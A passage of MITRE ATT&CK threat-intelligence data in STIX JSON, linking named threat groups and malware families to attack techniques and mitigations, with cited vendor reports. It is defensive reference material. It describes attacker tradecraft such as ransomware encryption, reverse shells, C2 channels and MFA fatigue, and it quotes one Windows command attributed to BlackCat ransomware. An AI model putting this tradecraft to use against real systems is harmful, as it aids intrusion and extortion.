access.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a3e07b45-b35d-4d02-a266-34366a57f557","created":"2022-06-06T18:20:02.590Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has staged malware on fraudulent websites set up to impersonate targeted organizations.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-06T18:20:02.590Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3eb4cec-8053-4830-b256-e46748dba3d9","type":"relationship","created":"2020-12-29T21:32:28.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}],"modified":"2021-03-12T22:31:31.190Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can encrypt all non-system files using a hybrid AES-RSA algorithm prior to displaying a ransom note.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cybereason Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2019-10-11T19:07:42.401Z","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) is known to use PowerShell.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3f0a84b-e32a-46d3-8ada-189f2d8796c8","created":"2024-09-17T17:56:26.618Z","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T17:56:26.618Z","description":"(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3fc552f-e16d-4db7-8bca-d1c273b401f9","created":"2023-03-02T18:55:25.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:56:42.276Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can use Windows commands such as `fsutil behavior set SymLinkEvaluation R2L:1` to redirect file system access to a different location after gaining access into compromised networks.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-19T19:19:53.730Z","description":"[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. [Sakula](https://attack.mitre.org/software/S0074) also has the capability to invoke a reverse shell.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3fef23a-9f22-4d7c-b9f1-3f05372e9d87","created":"2023-07-13T19:19:23.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T20:52:59.758Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has used multifactor authentication (MFA) fatigue by sending repeated MFA authentication requests to targets.(Citation: CrowdStrike Scattered Spider BYOVD January 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a403648d-4c23-46bd-9688-1face1407b42","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-17T02:37:58.945Z","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) communicates via DNS for C2.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a40a85bf-69d3-4164-a735-fb9ecc7b656e","created":"2023-03-24T21:43:49.712Z","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:43:49.712Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to store information regarding the C2 server and downloads in the Registry key HKCU\\Software\\ApplicationContainer\\Appsw64.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a40c6b38-6a1f-44fa-8f86-c38dcd03fc90","created":"2024-05-25T16:23:51.512Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:23:51.512Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has used the Discord content delivery network for hosting malicious content referenced in links and emails.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4105315-b63d-47c9-9526-3dd388d892b4","type":"relationship","created":"2020-05-19T17:32:26.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-20T13:38:07.120Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2019-04-22T15:06:12.694Z","description":"(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","target_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a412040d-d8ed-48b4-979c-7cbc6f9ced1c","created":"2022-10-20T23:02:27.336Z","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-20T23:02:27.336Z","description":"[MacMa](https://attack.mitre.org/software/S1016) decrypts a downloaded file using AES-128-EBC with a custom delta.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4139ea2-b04d-472a-9daa-0ff3eb5586ce","created":"2024-03-29T17:45:34.453Z","revoked":false,"external_references":[{"source_name":"Microsoft File Folder Exclusions","description":"Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:45:34.453Z","description":"Review and audit file/folder exclusions, and limit scope of exclusions to only what is required where possible.(Citation: Microsoft File Folder Exclusions)","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a42398e2-3daa-452a-80f8-f06660328f18","created":"2019-06-21T16:45:15.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Office 365 Partner Relationships","description":"Microsoft. (2022, March 4). Manage partner relationships. Retrieved May 27, 2022.","url":"https://docs.microsoft.com/en-us/microsoft-365/commerce/manage-partners?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:36:33.915Z","description":"Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. In Office 365 environments, partner relationships and roles can be viewed under the “Partner Relationships” page.(Citation: Office 365 Partner Relationships)\n","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Invincea XTunnel","description":"Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.","url":"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"}],"modified":"2019-04-19T18:36:32.000Z","description":"[XTunnel](https://attack.mitre.org/software/S0117) is capable of probing the network for open ports.(Citation: Invincea XTunnel)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a424a85c-a3c6-4d84-85f7-e55c8dbe21fc","type":"relationship","created":"2020-03-14T23:19:38.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-30T19:16:11.859Z","description":"Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1090/004).","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a429ab16-3153-4753-b4db-4311b09811fd","type":"relationship","created":"2020-02-20T15:27:18.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T19:39:42.787Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a42c4b1f-e145-4bf2-bd5e-fe65ff3e1a24","created":"2022-08-19T19:32:31.915Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has searched for information on targeted individuals on business databases including RocketReach and CrunchBase.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:33:41.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a430e3fa-bfc0-4ea8-8264-217f6aa015fc","type":"relationship","created":"2020-05-26T16:17:59.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.416Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has installed a systemd service script to maintain persistence.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a433216f-bd03-4791-98ce-abd4b23c21a5","type":"relationship","created":"2021-09-21T15:45:09.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.856Z","description":"[Turian](https://attack.mitre.org/software/S0647) can retrieve the internal IP address of a compromised host.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4346806-c7aa-4fa4-896d-a279ceeaf487","created":"2023-03-26T15:11:14.242Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:11:14.242Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `cmd.exe` to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4361a93-3ce2-4c35-a5d8-9a4fae2dc822","type":"relationship","created":"2021-10-01T21:53:33.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.574Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can zip files before exfiltration.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a439669e-49b7-4197-a6e7-7e5ea11136df","type":"relationship","created":"2021-03-31T14:01:52.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:11:11.094Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a43b5d19-a2d5-4440-b0c6-6d4819edb77e","type":"relationship","created":"2021-03-23T20:49:40.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.260Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has used FTP for C2 communications.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a43dfdcf-380a-43ae-877f-891a01ed1c53","created":"2022-02-01T15:08:45.235Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."},{"source_name":"Azure AD Recon","url":"https://o365blog.com/post/just-looking","description":"Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can check for the existence of user email addresses using public Microsoft APIs.(Citation: AADInternals Documentation)(Citation: Azure AD 